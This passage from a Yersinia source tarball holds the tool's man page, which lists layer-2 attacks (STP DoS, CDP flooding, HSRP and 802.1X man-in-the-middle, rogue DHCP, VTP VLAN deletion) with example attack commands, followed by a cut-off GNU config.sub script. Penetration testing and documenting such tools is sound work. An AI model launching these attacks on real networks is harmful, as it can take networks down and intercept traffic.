protocols have been implemented in Yersinia current version: \fISpanning Tree Protocol (STP)\fR, \fIVLAN Trunking Protocol (VTP)\fR, \fIHot Standby Router Protocol (HSRP)\fR, \fIDynamic Trunking Protocol (DTP)\fR, \fIIEEE 802.1Q\fR, \fIIEEE 802.1X\fR, \fICisco Discovery Protocol (CDP)\fR, \fIDynamic Host Configuration Protocol (DHCP)\fR, \fIInter-Switch Link Protocol (ISL)\fR and \fIMultiProtocol Label Switching (MPLS)\fR. Some of the attacks implemented will cause a DoS in a network, other will help to perform any other more advanced attack, or both. In addition, some of them will be first released to the public since there isn't any public implementation. Yersinia will definitely help both pen\-testers and network administrators in their daily tasks. Some of the mentioned attacks are \fBDoS\fP attacks, so \fBTAKE CARE\fP about what you're doing because you can convert your network into an \fBUNSTABLE\fP one. A lot of examples are given at this page \fBEXAMPLES\fP section, showing a real and useful program execution. .SH "OPTIONS " .IP "\fB\-h\fP, \fB\-\-help\fP" Help screen. .IP "\fB\-V\fP, \fB\-\-Version\fP" Program version. .IP "\fB\-G\fP" Start a graphical GTK session. .IP "\fB\-I\fP, \fB\-\-interactive\fP" Start an interactive ncurses session. .IP "\fB\-D\fP, \fB\-\-daemon\fP" Start the network listener for remote admin (Cisco CLI emulation). .IP "\fB\-d\fP" Enable debug messages. .IP "\fB\-l\fP \fIlogfile\fP" Save the current session to the file \fIlogfile\fP. If \fIlogfile\fP exists, the data will be appended at the end. .IP "\fB\-c\fP \fIconffile\fP" Read/write configuration variables from/to \fIconffile\fP. .IP "\fB\-M\fP" Disable MAC spoofing. .SH "PROTOCOLS" The following protocols are implemented in \fByersinia\fR current version: .IP "\fISpanning Tree Protocol (STP and RSTP)\fR" .IP "\fICisco Discovery Protocol (CDP)\fR" .IP "\fIHot Standby Router Protocol (HSRP)\fR" .IP "\fIDynamic Host Configuration Protocol (DHCP)\fR" .IP "\fIDynamic Trunking Protocol (DTP)\fR" .IP "\fIIEEE 802.1Q\fR" .IP "\fIVLAN Trunking Protocol (VTP)\fR" .IP "\fIInter-Switch Link Protocol (ISL)\fR" .IP "\fIIEEE 802.1X\fR" .IP "\fIMultiProtocol Label Switching (MPLS)\fR" .SH "PROTOCOLS OPTIONS" .TP \fBSpanning Tree Protocol (STP):\fR is a link management protocol that provides path redundancy while preventing undesirable loops in the network. The supported options are: .IP "\fB\-version\fR \fIversion\fR BPDU version (0 STP, 2 RSTP, 3 MSTP) .IP "\fB\-type\fR \fItype\fR" BPDU type (Configuration, TCN) .IP "\fB\-flags\fR \fIflags\fR" BPDU Flags .IP "\fB\-id\fR \fIid\fR" BPDU ID .IP "\fB\-cost\fR \fIpathcost\fR" BPDU root path cost .IP "\fB\-rootid\fR \fIid\fR" BPDU Root ID .IP "\fB\-bridgeid\fR \fIid\fR" BPDU Bridge ID .IP "\fB\-portid\fR \fIid\fR" BPDU Port ID .IP "\fB\-message\fR \fIsecs\fR" BPDU Message Age .IP "\fB\-max-age\fR \fIsecs\fR" BPDU Max Age (default is 20) .IP "\fB\-hello\fR \fIsecs\fR" BPDU Hello Time (default is 2) .IP "\fB\-forward\fR \fIsecs\fR" BPDU Forward Delay .IP "\fB\-source\fR \fIhw_addr\fR" Source MAC address .IP "\fB\-dest\fR \fIhw_addr\fR" Destination MAC address .IP "\fB\-interface\fR \fIiface\fR" Set network interface to use .IP "\fB\-attack\fR \fIattack\fR" Attack to launch .TP \fBCisco Discovery Protocol (CDP):\fR is a Cisco propietary Protocol which main aim is to let Cisco devices to communicate to each other about their device settings and protocol configurations. The supported options are: .IP "\fB\-source\fR \fIhw_addr\fR" MAC Source Address .IP "\fB\-dest\fR \fIhw_addr\fR" MAC Destination Address .IP "\fB\-v\fR \fIversion\fR" CDP Version .IP "\fB\-ttl\fR \fIttl\fR" Time To Live .IP "\fB\-devid\fR \fIid\fR" Device ID .IP "\fB\-address\fR \fIaddress\fR" Device Address .IP "\fB\-port\fR \fIid\fR" Device Port .IP "\fB\-capability\fR \fIcap\fR" Device Capabilities .IP "\fB\-version\fR \fIversion\fR" Device IOS Version .IP "\fB\-duplex\fR \fI0|1\fR" Device Duplex Configuration .IP "\fB\-platform\fR \fIplatform\fR" Device Platform .IP "\fB\-ipprefix\fR \fIip\fR" Device IP Prefix .IP "\fB\-phello\fR \fIhello\fR" Device Protocol Hello .IP "\fB\-mtu\fR \fImtu\fR" Device MTU .IP "\fB\-vtp_mgm_dom\fR \fIdomain\fR" Device VTP Management Domain .IP "\fB\-native_vlan\fR \fIvlan\fR" Device Native VLAN .IP "\fB\-voip_vlan_r\fR \fIreq\fR" Device VoIP VLAN Reply .IP "\fB\-voip_vlan_q\fR \fIquery\fR" Device VoIP VLAN Query .IP "\fB\-t_bitmap\fR \fIbitmap\fR" Device Trust Bitmap .IP "\fB\-untrust_cos\fR \fIcos\fR" Device Untrusted CoS .IP "\fB\-system_name\fR \fIname\fR" Device System Name .IP "\fB\-system_oid\fR \fIoid\fR" Device System ObjectID .IP "\fB\-mgm_address\fR \fIaddress\fR" Device Management Address .IP "\fB\-location\fR \fIlocation\fR" Device Location .IP "\fB\-attack\fR \fIattack\fR" Attack to launch .TP \fBHot Standby Router Protocol (HSRP):\fR .IP "\fB\-source\fR \fIhw_addr\fR" Source MAC address .IP "\fB\-dest\fR \fIhw_addr\fR" Destination MAC address .IP "\fB\-interface\fR \fIiface\fR" Set network interface to use .IP "\fB\-attack\fR \fIattack\fR" Attack to launch .TP \fBInter-Switch Link Protocol (ISL):\fR .IP "\fB\-source\fR \fIhw_addr\fR" Source MAC address .IP "\fB\-dest\fR \fIhw_addr\fR" Destination MAC address .IP "\fB\-interface\fR \fIiface\fR" Set network interface to use .IP "\fB\-attack\fR \fIattack\fR" Attack to launch .TP \fBVLAN Trunking Protocol (VTP):\fR .IP "\fB\-source\fR \fIhw_addr\fR" Source MAC address .IP "\fB\-dest\fR \fIhw_addr\fR" Destination MAC address .IP "\fB\-interface\fR \fIiface\fR" Set network interface to use .IP "\fB\-attack\fR \fIattack\fR" Attack to launch .TP \fBDynamic Host Configuration Protocol (DHCP):\fR .IP "\fB\-source\fR \fIhw_addr\fR" Source MAC address .IP "\fB\-dest\fR \fIhw_addr\fR" Destination MAC address .IP "\fB\-interface\fR \fIiface\fR" Set network interface to use .IP "\fB\-attack\fR \fIattack\fR" Attack to launch .TP \fBIEEE 802.1Q:\fR .IP "\fB\-source\fR \fIhw_addr\fR" Source MAC address .IP "\fB\-dest\fR \fIhw_addr\fR" Destination MAC address .IP "\fB\-interface\fR \fIiface\fR" Set network interface to use .IP "\fB\-attack\fR \fIattack\fR" Attack to launch .TP \fBDynamic Trunking Protocol (DTP):\fR .IP "\fB\-source\fR \fIhw_addr\fR" Source MAC address .IP "\fB\-dest\fR \fIhw_addr\fR" Destination MAC address .IP "\fB\-interface\fR \fIiface\fR" Set network interface to use .IP "\fB\-attack\fR \fIattack\fR" Attack to launch .TP \fBIEEE 802.1X:\fR .IP "\fB\-version\fR \fIarg\fR" Version .IP "\fB\-type\fR \fIarg\fR" xxxx .IP "\fB\-eapcode\fR \fIarg\fR" xxxx .IP "\fB\-eapid\fR \fIarg\fR" xxxx .IP "\fB\-eaptype\fR \fIarg\fR" xxxx .IP "\fB\-eapinfo\fR \fIarg\fR" xxx .IP "\fB\-interface\fR \fIarg\fR" xxxx .IP "\fB\-source\fR \fIhw_addr\fR" Source MAC address .IP "\fB\-dest\fR \fIhw_addr\fR" Destination MAC address .IP "\fB\-interface\fR \fIiface\fR" Set network interface to use .IP "\fB\-attack\fR \fIattack\fR" Attack to launch .TP \fBMultiProtocol Label Switching (MPLS):\fR .IP "\fB\-source\fR \fIhw_addr\fR" Source MAC address .IP "\fB\-dest\fR \fIhw_addr\fR" Destination MAC address .IP "\fB\-interface\fR \fIiface\fR" Set network interface to use .IP "\fB\-attack\fR \fIattack\fR" Attack to launch .IP "\fB\-label1\fR \fIarg\fR" Set MPLS Label .IP "\fB\-exp1\fR \fIarg\fR" Set MPLS Experimental bits .IP "\fB\-bottom1\fR \fIarg\fR" Set MPLS Bottom Of Stack flag .IP "\fB\-ttl1\fR \fIarg\fR" Set MPLS Time To Live .IP "\fB\-label2\fR \fIarg\fR" Set MPLS Label (second header) .IP "\fB\-exp2\fR \fIarg\fR" Set MPLS Experimental bits (second header) .IP "\fB\-bottom2\fR \fIarg\fR" Set MPLS Bottom Of Stack flag (second header) .IP "\fB\-ttl2\fR \fIarg\fR" Set MPLS Time To Live (second header) .IP "\fB\-ipsource\fR \fIipv4\fR" Source IP .IP "\fB\-portsource\fR \fIport\fR" Source TCP/UDP port .IP "\fB\-ipdest\fR \fIipv4\fR" Destination IP .IP "\fB\-portdest\fR \fIport\fR" Destination TCP/UDP port .IP "\fB\-payload\fR \fIASCII\fR" ASCII IP payload .SH "ATTACKS" .TP \fBAttacks Implemented in STP:\fR .IP " 0: NONDOS attack sending conf BPDU" .IP " 1: NONDOS attack sending tcn BPDU" .IP " 2: DOS attack sending conf BPDUs" .IP " 3: DOS attack sending tcn BPDUs" .IP " 4: NONDOS attack Claiming Root Role" .IP " 5: NONDOS attack Claiming Other Role" .IP " 6: DOS attack Claiming Root Role with MiTM" .TP \fBAttacks Implemented in CDP:\fR .IP " 0: NONDOS attack sending CDP packet" .IP " 1: DOS attack flooding CDP table" .IP " 2: NONDOS attack Setting up a virtual device" .TP \fBAttacks Implemented in HSRP:\fR .IP " 0: NONDOS attack sending raw HSRP packet" .IP " 1: NONDOS attack becoming ACTIVE router" .IP " 2: NONDOS attack becoming ACTIVE router (MITM)" .TP \fBAttacks Implemented in DHCP:\fR .IP " 0: NONDOS attack sending RAW packet" .IP " 1: DOS attack sending DISCOVER packet" .IP " 2: NONDOS attack creating DHCP rogue server" .IP " 3: DOS attack sending RELEASE packet" .TP \fBAttacks Implemented in DTP:\fR .IP " 0: NONDOS attack sending DTP packet" .IP " 1: NONDOS attack enabling trunking" .TP \fBAttacks Implemented in 802.1Q:\fR .IP " 0: NONDOS attack sending 802.1Q packet" .IP " 1: NONDOS attack sending 802.1Q double enc. packet" .IP " 2: DOS attack sending 802.1Q arp poisoning" .TP \fBAttacks Implemented in VTP:\fR .IP " 0: NONDOS attack sending VTP packet" .IP " 1: DOS attack deleting all VTP vlans" .IP " 2: DOS attack deleting one vlan" .IP " 3: NONDOS attack adding one vlan" .IP " 4: DOS attack crashing Catalyst" .TP \fBAttacks Implemented in 802.1X:\fR .IP " 0: NONDOS attack sending 802.1X packet" .IP " 1: NONDOS attack Mitm 802.1X with 2 interfaces" .TP \fBAttacks Implemented in MPLS:\fR .IP " 0: NONDOS attack sending TCP MPLS packet" .IP " 1: NONDOS attack sending TCP MPLS with double header" .IP " 2: NONDOS attack sending UDP MPLS packet" .IP " 3: NONDOS attack sending UDP MPLS with double header" .IP " 4: NONDOS attack sending ICMP MPLS packet" .IP " 5: NONDOS attack sending ICMP MPLS with double header" .TP \fBAttacks Implemented in ISL:\fR .IP " None at the moment" .SH "GTK GUI" The \fIGTK GUI\fR (\fB\-G\fR) is a GTK graphical interface with all of the \fByersinia\fR powerful features and a professional 'look and feel'. .SH "NCURSES GUI" The \fIncurses GUI\fR (\fB\-I\fR) is a ncurses (or curses) based console where the user can take advantage of \fByersinia\fR powerful features. Press \fI'h'\fR to display the Help Screen and enjoy your session :) .SH "NETWORK DAEMON" The \fINetwork Daemon\fR (\fB\-D\fR) is a telnet based server (ala Cisco mode) that listens by default in port 12000/tcp waiting for incoming telnet connections. It supports a CLI similar to a Cisco device where the user (once authenticated) can display different settings and can launch attacks without having \fByersinia\fR running in her own machine (specially useful for Windows users). .SH "EXAMPLES" \- Send a Rapid Spanning-Tree BPDU with port role designated, port state agreement, learning and port id 0x3000 to eth1: \fByersinia stp \-attack 0 \-version 2 \-flags 5c \-portid 3000 \-interface eth1\fP \- Start a Spanning-Tree nonDoS root claiming attack in the first nonloopback interface (keep in mind that this kind of attack will use the first BPDU on the network interface to fill in the BPDU fields properly): \fByersinia stp \-attack 4\fP \- Start a Spanning-Tree DoS attack sending TCN BPDUs in the eth0 interface with MAC address 66:66:66:66:66:66: \fByersinia stp \-attack 3 \-source 66:66:66:66:66:66\fP .SH "SEE ALSO " The README file contains more in\-depth documentation about the attacks. .SH "COPYRIGHT " Yersinia is Copyright (c) .SH "BUGS " Lots .SH "AUTHORS " Alfredo Andres Omella .br David Barroso Berrueta yersinia-0.7.3/config.sub0000755000175000017500000007167412234207266013154 0ustar nknk#! /bin/sh # Configuration validation subroutine script. # Copyright (C) 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, # 2000, 2001, 2002 Free Software Foundation, Inc. timestamp='2002-09-05' # This file is (in principle) common to ALL GNU software. # The presence of a machine in this file suggests that SOME GNU software # can handle that machine. It does not imply ALL GNU software can. # # This file is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place - Suite 330, # Boston, MA 02111-1307, USA. # As a special exception to the GNU General Public License, if you # distribute this file as part of a program that contains a # configuration script generated by Autoconf, you may include it under # the same distribution terms that you use for the rest of that program. # Please send patches to . Submit a context # diff and a properly formatted ChangeLog entry. # # Configuration subroutine to validate and canonicalize a configuration type. # Supply the specified configuration type as an argument. # If it is invalid, we print an error message on stderr and exit with code 1. # Otherwise, we print the canonical config type on stdout and succeed. # This file is supposed to be the same for all GNU packages # and recognize all the CPU types, system types and aliases # that are meaningful with *any* GNU software. # Each package is responsible for reporting which valid configurations # it does not support. The user should be able to distinguish # a failure to support a valid configuration from a meaningless # configuration. # The goal of this file is to map all the various variations of a given # machine specification into a single specification in the form: # CPU_TYPE-MANUFACTURER-OPERATING_SYSTEM # or in some cases, the newer four-part form: # CPU_TYPE-MANUFACTURER-KERNEL-OPERATING_SYSTEM # It is wrong to echo any other type of specification. me=`echo "$0" | sed -e 's,.*/,,'` usage="\ Usage: $0 [OPTION] CPU-MFR-OPSYS $0 [OPTION] ALIAS Canonicalize a configuration name. Operation modes: -h, --help print this help, then exit -t, --time-stamp print date of last modification, then exit -v, --version print version number, then exit Report bugs and patches to ." version="\ GNU config.sub ($timestamp) Copyright (C) 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE." help=" Try \`$me --help' for more information." # Parse command line while test $# -gt 0 ; do case $1 in --time-stamp | --time* | -t ) echo "$timestamp" ; exit 0 ;; --version | -v ) echo "$version" ; exit 0 ;; --help | --h* | -h ) echo "$usage"; exit 0 ;; -- ) # Stop option processing shift; break ;; - ) # Use stdin as input. break ;; -* ) echo "$me: invalid option $1$help" exit 1 ;; *local*) # First pass through any local machine types. echo $1 exit 0;; * ) break ;; esac done case $# in 0) echo "$me: missing argument$help" >&2 exit 1;; 1) ;; *) echo "$me: too many arguments$help" >&2 exit 1;; esac # Separate what the user gave into CPU-COMPANY and OS or KERNEL-OS (if any). # Here we must recognize all the valid KERNEL-OS combinations. maybe_os=`echo $1 | sed 's/^\(.*\)-\([^-]*-[^-]*\)$/\2/'` case $maybe_os in nto-qnx* | linux-gnu* | freebsd*-gnu* | storm-chaos* | os2-emx* | windows32-* | rtmk-nova*) os=-$maybe_os basic_machine=`echo $1 | sed 's/^\(.*\)-\([^-]*-[^-]*\)$/\1/'` ;; *) basic_machine=`echo $1 | sed 's/-[^-]*$//'` if [ $basic_machine != $1 ] then os=`echo $1 | sed 's/.*-/-/'` else os=; fi ;; esac ### Let's recognize common machines as not being operating systems so ### that things like config.sub decstation-3100 work. We also ### recognize some manufacturers as not being operating systems, so we ### can provide default operating systems below. case $os in -sun*os*) # Prevent following clause from handling this invalid input. ;; -dec* | -mips* | -sequent* | -encore* | -pc532* | -sgi* | -sony* | \ -att* | -7300* | -3300* | -delta* | -motorola* | -sun[234]* | \ -unicom* | -ibm* | -next | -hp | -isi* | -apollo | -altos* | \ -convergent* | -ncr* | -news | -32* | -3600* | -3100* | -hitachi* |\ -c[123]* | -convex* | -sun | -crds | -omron* | -dg | -ultra | -tti* | \ -harris | -dolphin | -highlevel | -gould | -cbm | -ns | -masscomp | \ -apple | -axis) os= basic_machine=$1 ;; -sim | -cisco | -oki | -wec | -winbond) os= basic_machine=$1 ;; -scout) ;; -wrs) os=-vxworks basic_machine=$1 ;; -chorusos*) os=-chorusos basic_machine=$1 ;; -chorusrdb) os=-chorusrdb basic_machine=$1 ;; -hiux*) os=-hiuxwe2 ;; -sco5) os=-sco3.2v5 basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` ;; -sco4) os=-sco3.2v4 basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` ;; -sco3.2.[4-9]*) os=`echo $os | sed -e 's/sco3.2./sco3.2v/'` basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` ;; -sco3.2v[4-9]*) # Don't forget version if it is 3.2v4 or newer. basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` ;; -sco*) os=-sco3.2v2 basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` ;; -udk*) basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` ;; -isc) os=-isc2.2 basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` ;; -clix*) basic_machine=clipper-intergraph ;; -isc*) basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` ;; -lynx*) os=-lynxos ;; -ptx*) basic_machine=`echo $1 | sed -e 's/86-.*/86-sequent/'` ;; -windowsnt*) os=`echo $os | sed -e 's/windowsnt/winnt/'` ;; -psos*) os=-psos ;; -mint | -mint[0-9]*) basic_machine=m68k-atari os=-mint ;; esac # Decode aliases for certain CPU-COMPANY combinations. case $basic_machine in # Recognize the basic CPU types without company name. # Some are omitted here because they have special meanings below. 1750a | 580 \ | a29k \ | alpha | alphaev[4-8] | alphaev56 | alphaev6[78] | alphapca5[67] \ | alpha64 | alpha64ev[4-8] | alpha64ev56 | alpha64ev6[78] | alpha64pca5[67] \ | arc | arm | arm[bl]e | arme[lb] | armv[2345] | armv[345][lb] | avr \ | clipper \ | d10v | d30v | dlx | dsp16xx \ | fr30 | frv \ | h8300 | h8500 | hppa | hppa1.[01] | hppa2.0 | hppa2.0[nw] | hppa64 \ | i370 | i860 | i960 | ia64 \ | ip2k \ | m32r | m68000 | m68k | m88k | mcore \ | mips | mipsbe | mipseb | mipsel | mipsle \ | mips16 \ | mips64 | mips64el \ | mips64vr | mips64vrel \ | mips64orion | mips64orionel \ | mips64vr4100 | mips64vr4100el \ | mips64vr4300 | mips64vr4300el \ | mips64vr5000 | mips64vr5000el \ | mipsisa32 | mipsisa32el \ | mipsisa64 | mipsisa64el \ | mipsisa64sb1 | mipsisa64sb1el \ | mipsisa64sr71k | mipsisa64sr71kel \ | mipstx39 | mipstx39el \ | mn10200 | mn10300 \ | ns16k | ns32k \ | openrisc | or32 \ | pdp10 | pdp11 | pj | pjl \ | powerpc | powerpc64 | powerpc64le | powerpcle | ppcbe \ | pyramid \ | sh | sh[1234] | sh3e | sh[34]eb | shbe | shle | sh[1234]le | sh3ele \ | sh64 | sh64le \ | sparc | sparc64 | sparc86x | sparclet | sparclite | sparcv9 | sparcv9b \ | strongarm \ | tahoe | thumb | tic80 | tron \ | v850 | v850e \ | we32k \ | x86 | xscale | xstormy16 | xtensa \ | z8k) basic_machine=$basic_machine-unknown ;; m6811 | m68hc11 | m6812 | m68hc12) # Motorola 68HC11/12. basic_machine=$basic_machine-unknown os=-none ;; m88110 | m680[12346]0 | m683?2 | m68360 | m5200 | v70 | w65 | z8k) ;; # We use `pc' rather than `unknown' # because (1) that's what they normally are, and # (2) the word "unknown" tends to confuse beginning users. i*86 | x86_64) basic_machine=$basic_machine-pc ;; # Object if more than one company name word. *-*-*) echo Invalid configuration \`$1\': machine \`$basic_machine\' not recognized 1>&2 exit 1 ;; # Recognize the basic CPU types with company name. 580-* \ | a29k-* \ | alpha-* | alphaev[4-8]-* | alphaev56-* | alphaev6[78]-* \ | alpha64-* | alpha64ev[4-8]-* | alpha64ev56-* | alpha64ev6[78]-* \ | alphapca5[67]-* | alpha64pca5[67]-* | arc-* \ | arm-* | armbe-* | armle-* | armeb-* | armv*-* \ | avr-* \ | bs2000-* \ | c[123]* | c30-* | [cjt]90-* | c4x-* | c54x-* \ | clipper-* | cydra-* \ | d10v-* | d30v-* | dlx-* \ | elxsi-* \ | f30[01]-* | f700-* | fr30-* | frv-* | fx80-* \ | h8300-* | h8500-* \ | hppa-* | hppa1.[01]-* | hppa2.0-* | hppa2.0[nw]-* | hppa64-* \ | i*86-* | i860-* | i960-* | ia64-* \ | ip2k-* \ | m32r-* \ | m68000-* | m680[012346]0-* | m68360-* | m683?2-* | m68k-* \ | m88110-* | m88k-* | mcore-* \ | mips-* | mipsbe-* | mipseb-* | mipsel-* | mipsle-* \ | mips16-* \ | mips64-* | mips64el-* \ | mips64vr-* | mips64vrel-* \ | mips64orion-* | mips64orionel-* \ | mips64vr4100-* | mips64vr4100el-* \ | mips64vr4300-* | mips64vr4300el-* \ | mips64vr5000-* | mips64vr5000el-* \ | mipsisa32-* | mipsisa32el-* \ | mipsisa64-* | mipsisa64el-* \ | mipsisa64sb1-* | mipsisa64sb1el-* \ | mipsisa64sr71k-* | mipsisa64sr71kel-* \ | mipstx39 | mipstx39el \ | none-* | np1-* | ns16k-* | ns32k-* \ | orion-* \ | pdp10-* | pdp11-* | pj-* | pjl-* | pn-* | power-* \ | powerpc-* | powerpc64-* | powerpc64le-* | powerpcle-* | ppcbe-* \ | pyramid-* \ | romp-* | rs6000-* \ | sh-* | sh[1234]-* | sh3e-* | sh[34]eb-* | shbe-* \ | shle-* | sh[1234]le-* | sh3ele-* | sh64-* | sh64le-* \ | sparc-* | sparc64-* | sparc86x-* | sparclet-* | sparclite-* \ | sparcv9-* | sparcv9b-* | strongarm-* | sv1-* | sx?-* \ | tahoe-* | thumb-* | tic30-* | tic4x-* | tic54x-* | tic80-* | tron-* \ | v850-* | v850e-* | vax-* \ | we32k-* \ | x86-* | x86_64-* | xps100-* | xscale-* | xstormy16-* \ | xtensa-* \ | ymp-* \ | z8k-*) ;; # Recognize the various machine names and aliases which stand # for a CPU type and a company and sometimes even an OS. 386bsd) basic_machine=i386-unknown os=-bsd ;; 3b1 | 7300 | 7300-att | att-7300 | pc7300 | safari | unixpc) basic_machine=m68000-att ;; 3b*) basic_machine=we32k-att ;; a29khif) basic_machine=a29k-amd os=-udi ;; adobe68k) basic_machine=m68010-adobe os=-scout ;; alliant | fx80) basic_machine=fx80-alliant ;; altos | altos3068) basic_machine=m68k-altos ;; am29k) basic_machine=a29k-none os=-bsd ;; amdahl) basic_machine=580-amdahl os=-sysv ;; amiga | amiga-*) basic_machine=m68k-unknown ;; amigaos | amigados) basic_machine=m68k-unknown os=-amigaos ;; amigaunix | amix) basic_machine=m68k-unknown os=-sysv4 ;; apollo68) basic_machine=m68k-apollo os=-sysv ;; apollo68bsd) basic_machine=m68k-apollo os=-bsd ;; aux) basic_machine=m68k-apple os=-aux ;; balance) basic_machine=ns32k-sequent os=-dynix ;; c90) basic_machine=c90-cray os=-unicos ;; convex-c1) basic_machine=c1-convex os=-bsd ;; convex-c2) basic_machine=c2-convex os=-bsd ;; convex-c32) basic_machine=c32-convex os=-bsd ;; convex-c34) basic_machine=c34-convex os=-bsd ;; convex-c38) basic_machine=c38-convex os=-bsd ;; cray | j90) basic_machine=j90-cray os=-unicos ;; crds | unos) basic_machine=m68k-crds ;; cris | cris-* | etrax*) basic_machine=cris-axis ;; da30 | da30-*) basic_machine=m68k-da30 ;; decstation | decstation-3100 | pmax | pmax-* | pmin | dec3100 | decstatn) basic_machine=mips-dec ;; decsystem10* | dec10*) basic_machine=pdp10-dec os=-tops10 ;; decsystem20* | dec20*) basic_machine=pdp10-dec os=-tops20 ;; delta | 3300 | motorola-3300 | motorola-delta \ | 3300-motorola | delta-motorola) basic_machine=m68k-motorola ;; delta88) basic_machine=m88k-motorola os=-sysv3 ;; dpx20 | dpx20-*) basic_machine=rs6000-bull os=-bosx ;; dpx2* | dpx2*-bull) basic_machine=m68k-bull os=-sysv3 ;; ebmon29k) basic_machine=a29k-amd os=-ebmon ;; elxsi) basic_machine=elxsi-elxsi os=-bsd ;; encore | umax | mmax) basic_machine=ns32k-encore ;; es1800 | OSE68k | ose68k | ose | OSE) basic_machine=m68k-ericsson os=-ose ;; fx2800) basic_machine=i860-alliant ;; genix) basic_machine=ns32k-ns ;; gmicro) basic_machine=tron-gmicro os=-sysv ;; go32) basic_machine=i386-pc os=-go32 ;; h3050r* | hiux*) basic_machine=hppa1.1-hitachi os=-hiuxwe2 ;; h8300hms) basic_machine=h8300-hitachi os=-hms ;; h8300xray) basic_machine=h8300-hitachi os=-xray ;; h8500hms) basic_machine=h8500-hitachi os=-hms ;; harris) basic_machine=m88k-harris os=-sysv3 ;; hp300-*) basic_machine=m68k-hp ;; hp300bsd) basic_machine=m68k-hp os=-bsd ;; hp300hpux) basic_machine=m68k-hp os=-hpux ;; hp3k9[0-9][0-9] | hp9[0-9][0-9]) basic_machine=hppa1.0-hp ;; hp9k2[0-9][0-9] | hp9k31[0-9]) basic_machine=m68000-hp ;; hp9k3[2-9][0-9]) basic_machine=m68k-hp ;; hp9k6[0-9][0-9] | hp6[0-9][0-9]) basic_machine=hppa1.0-hp ;; hp9k7[0-79][0-9] | hp7[0-79][0-9]) basic_machine=hppa1.1-hp ;; hp9k78[0-9] | hp78[0-9]) # FIXME: really hppa2.0-hp basic_machine=hppa1.1-hp ;; hp9k8[67]1 | hp8[67]1 | hp9k80[24] | hp80[24] | hp9k8[78]9 | hp8[78]9 | hp9k893 | hp893) # FIXME: really hppa2.0-hp basic_machine=hppa1.1-hp ;; hp9k8[0-9][13679] | hp8[0-9][13679]) basic_machine=hppa1.1-hp ;; hp9k8[0-9][0-9] | hp8[0-9][0-9]) basic_machine=hppa1.0-hp ;; hppa-next) os=-nextstep3 ;; hppaosf) basic_machine=hppa1.1-hp os=-osf ;; hppro) basic_machine=hppa1.1-hp os=-proelf ;; i370-ibm* | ibm*) basic_machine=i370-ibm ;; # I'm not sure what "Sysv32" means. Should this be sysv3.2? i*86v32) basic_machine=`echo $1 | sed -e 's/86.*/86-pc/'` os=-sysv32 ;; i*86v4*) basic_machine=`echo $1 | sed -e 's/86.*/86-pc/'` os=-sysv4 ;; i*86v) basic_machine=`echo $1 | sed -e 's/86.*/86-pc/'` os=-sysv ;; i*86sol2) basic_machine=`echo $1 | sed -e 's/86.*/86-pc/'` os=-solaris2 ;; i386mach) basic_machine=i386-mach os=-mach ;; i386-vsta | vsta) basic_machine=i386-unknown os=-vsta ;; iris | iris4d) basic_machine=mips-sgi case $os in -irix*) ;; *) os=-irix4 ;; esac ;; isi68 | isi) basic_machine=m68k-isi os=-sysv ;; m88k-omron*) basic_machine=m88k-omron ;; magnum | m3230) basic_machine=mips-mips os=-sysv ;; merlin) basic_machine=ns32k-utek os=-sysv ;; mingw32) basic_machine=i386-pc os=-mingw32 ;; miniframe) basic_machine=m68000-convergent ;; *mint | -mint[0-9]* | *MiNT | *MiNT[0-9]*) basic_machine=m68k-atari os=-mint ;; mips3*-*) basic_machine=`echo $basic_machine | sed -e 's/mips3/mips64/'` ;; mips3*) basic_machine=`echo $basic_machine | sed -e 's/mips3/mips64/'`-unknown ;; mmix*) basic_machine=mmix-knuth os=-mmixware ;; monitor) basic_machine=m68k-rom68k os=-coff ;; morphos) basic_machine=powerpc-unknown os=-morphos ;; msdos) basic_machine=i386-pc os=-msdos ;; mvs) basic_machine=i370-ibm os=-mvs ;; ncr3000) basic_machine=i486-ncr os=-sysv4 ;; netbsd386) basic_machine=i386-unknown os=-netbsd ;; netwinder) basic_machine=armv4l-rebel os=-linux ;; news | news700 | news800 | news900) basic_machine=m68k-sony os=-newsos ;; news1000) basic_machine=m68030-sony os=-newsos ;; news-3600 | risc-news) basic_machine=mips-sony os=-newsos ;; necv70) basic_machine=v70-nec os=-sysv ;; next | m*-next ) basic_machine=m68k-next case $os in -nextstep* ) ;; -ns2*) os=-nextstep2 ;; *) os=-nextstep3 ;; esac ;; nh3000) basic_machine=m68k-harris os=-cxux ;; nh[45]000) basic_machine=m88k-harris os=-cxux ;; nindy960) basic_machine=i960-intel os=-nindy ;; mon960) basic_machine=i960-intel os=-mon960 ;; nonstopux) basic_machine=mips-compaq os=-nonstopux ;; np1) basic_machine=np1-gould ;; nsr-tandem) basic_machine=nsr-tandem ;; op50n-* | op60c-*) basic_machine=hppa1.1-oki os=-proelf ;; or32 | or32-*) basic_machine=or32-unknown os=-coff ;; OSE68000 | ose68000) basic_machine=m68000-ericsson os=-ose ;; os68k) basic_machine=m68k-none os=-os68k ;; pa-hitachi) basic_machine=hppa1.1-hitachi os=-hiuxwe2 ;; paragon) basic_machine=i860-intel os=-osf ;; pbd) basic_machine=sparc-tti ;; pbb) basic_machine=m68k-tti ;; pc532 | pc532-*) basic_machine=ns32k-pc532 ;; pentium | p5 | k5 | k6 | nexgen | viac3) basic_machine=i586-pc ;; pentiumpro | p6 | 6x86 | athlon | athlon_*) basic_machine=i686-pc ;; pentiumii | pentium2) basic_machine=i686-pc ;; pentium-* | p5-* | k5-* | k6-* | nexgen-* | viac3-*) basic_machine=i586-`echo $basic_machine | sed 's/^[^-]*-//'` ;; pentiumpro-* | 